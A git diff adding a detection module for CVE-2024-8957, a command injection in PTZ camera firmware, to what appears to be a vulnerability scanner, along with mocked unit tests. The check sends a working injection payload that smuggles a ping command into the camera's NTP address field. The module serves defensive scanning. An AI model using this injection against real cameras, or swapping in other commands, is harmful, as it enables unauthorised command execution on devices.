diff --git a/agent/exploits/cve_2024_8957.py b/agent/exploits/cve_2024_8957.py
new file mode 100644
index 0000000..6017386
--- /dev/null
+++ b/agent/exploits/cve_2024_8957.py
@@ -0,0 +1,64 @@
+"""Agent Asteroid implementation for CVE-2024-8957"""
+
+import datetime
+import logging
+import re
+
+from requests import exceptions as requests_exceptions
+
+from agent import definitions
+from agent import exploits_registry
+from agent.exploits import webexploit
+
+VULNERABILITY_TITLE = "ValueHD PTZ Camera Command Injection"
+VULNERABILITY_REFERENCE = "CVE-2024-8957"
+VULNERABILITY_DESCRIPTION = (
+    "ValueHD PTZ cameras below firmware version 6.3.40 contain a command injection "
+    "vulnerability via NTP server configuration."
+)
+RISK_RATING = "CRITICAL"
+DEFAULT_TIMEOUT = datetime.timedelta(seconds=90)
+SYSTEM_CONF_PATH = "/cgi-bin/param.cgi?get_device_conf"
+
+
+@exploits_registry.register
+class VHDPTZCommandInjectionExploit(webexploit.WebExploit):
+    """
+    CVE-2024-8957: ValueHD PTZ Camera Command Injection
+    """
+
+    accept_request = definitions.Request(method="GET", path=SYSTEM_CONF_PATH)
+    check_request = definitions.Request(
+        method="POST",
+        path="/cgi-bin/param.cgi?post_network_other_conf",
+        data=b"ntp_addr=$(ping${IFS}-c4${IFS}8.8.8.8)",
+    )
+    accept_pattern = [
+        re.compile(r'devname="ptzoptics"', re.IGNORECASE),
+    ]
+
+    metadata = definitions.VulnerabilityMetadata(
+        title=VULNERABILITY_TITLE,
+        description=VULNERABILITY_DESCRIPTION,
+        reference=VULNERABILITY_REFERENCE,
+        risk_rating=RISK_RATING,
+    )
+
+    def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+        """Rule to detect command injection vulnerability on a target."""
+        vulnerabilities: list[definitions.Vulnerability] = []
+
+        target_endpoint = self.check_request.path
+        try:
+            resp = self.session.post(
+                f"{target.origin}{target_endpoint}",
+                data=self.check_request.data,
+                timeout=DEFAULT_TIMEOUT.seconds,
+            )
+            logging.info("Response in 8957: %s", resp.text)
+            if resp.status_code == 200 and "Success" in resp.text:
+                vulnerabilities.append(self._create_vulnerability(target))
+        except requests_exceptions.RequestException as e:
+            logging.error("Command injection detection failed: %s", e)
+
+        return vulnerabilities
diff --git a/tests/exploits/cve_2024_8957_test.py b/tests/exploits/cve_2024_8957_test.py
new file mode 100644
index 0000000..9595945
--- /dev/null
+++ b/tests/exploits/cve_2024_8957_test.py
@@ -0,0 +1,69 @@
+"""Unit tests for Agent Asteroid: VHD PTZ Camera Command Injection"""
+
+import requests_mock as req_mock
+from requests import exceptions as requests_exceptions
+
+from agent import definitions
+from agent.exploits import cve_2024_8957
+
+
+def testVHDPTZCommandInjection_whenVulnerable_reportFinding(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Test case: when target is vulnerable to command injection."""
+    requests_mock.get(
+        "http://localhost:80/cgi-bin/param.cgi",
+        text='devname="ptzoptics" devtype="VX630A" versioninfo="SOC v6.3.40 - ARM 6.3.51THI" serial_num="r1j04260027" device_model="F53.HI"',
+        status_code=200,
+    )
+    requests_mock.post(
+        "http://localhost:80/cgi-bin/param.cgi?post_network_other_conf",
+        text='{"Response":{"Result":"Success"}}"',
+        status_code=200,
+    )
+
+    exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit()
+    target = definitions.Target("http", "localhost", 80)
+    accept = exploit_instance.accept(target)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is True
+    assert len(vulnerabilities) > 0
+    vulnerability = vulnerabilities[0]
+    assert vulnerability.entry.title == "ValueHD PTZ Camera Command Injection"
+
+
+def testVHDPTZCommandInjection_whenNotVulnerable_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Test case: when target is not vulnerable to command injection."""
+    requests_mock.post(
+        "http://localhost:80/cgi-bin/param.cgi?post_network_other_conf",
+        text="Couldn't connect to server\"",
+        status_code=200,
+    )
+
+    exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert len(vulnerabilities) == 0
+
+
+def testVHDPTZCommandInjection_requestException_handlingErrorLogged(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Test case: handle RequestException in command injection detection."""
+    requests_mock.post(
+        "http://localhost:80/cgi-bin/param.cgi?post_network_other_conf",
+        exc=requests_exceptions.RequestException("Simulated connection error"),
+    )
+
+    exploit_instance = cve_2024_8957.VHDPTZCommandInjectionExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert len(vulnerabilities) == 0